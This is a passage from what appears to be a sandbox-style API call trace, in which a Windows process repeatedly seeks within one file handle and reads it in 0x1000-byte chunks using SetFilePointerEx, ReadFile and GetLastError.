liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.885] GetLastError () returned 0x0 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.885] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x746, lpOverlapped=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.886] GetLastError () returned 0x0 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.886] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x73e, lpOverlapped=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.886] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.887] GetLastError () returned 0x0 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.887] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x736, lpOverlapped=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.887] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.888] GetLastError () returned 0x0 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.888] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x72e, lpOverlapped=0x0) returned 1 [0031.888] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.889] GetLastError () returned 0x0 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.889] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x726, lpOverlapped=0x0) returned 1 [0031.889] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.890] GetLastError () returned 0x0 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.890] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x71e, lpOverlapped=0x0) returned 1 [0031.890] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.891] GetLastError () returned 0x0 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.891] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x716, lpOverlapped=0x0) returned 1 [0031.891] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.892] GetLastError () returned 0x0 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.892] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.892] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x70e, lpOverlapped=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.893] GetLastError () returned 0x0 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.893] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.893] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x706, lpOverlapped=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.894] GetLastError () returned 0x0 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.894] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.894] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6fe, lpOverlapped=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.895] GetLastError () returned 0x0 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.895] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.895] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6f6, lpOverlapped=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.896] GetLastError () returned 0x0 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.896] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.896] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6ee, lpOverlapped=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.897] GetLastError () returned 0x0 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.897] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.898] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6e6, lpOverlapped=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.898] GetLastError () returned 0x0 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.898] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.899] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6de, lpOverlapped=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.899] GetLastError () returned 0x0 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.899] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.900] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6d6, lpOverlapped=0x0) returned 1 [0031.900] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.900] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.900] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.900] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.900] GetLastError () returned 0x0 [0031.900] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.901] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6ce, lpOverlapped=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.901] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.902] GetLastError () returned 0x0 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.902] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6c6, 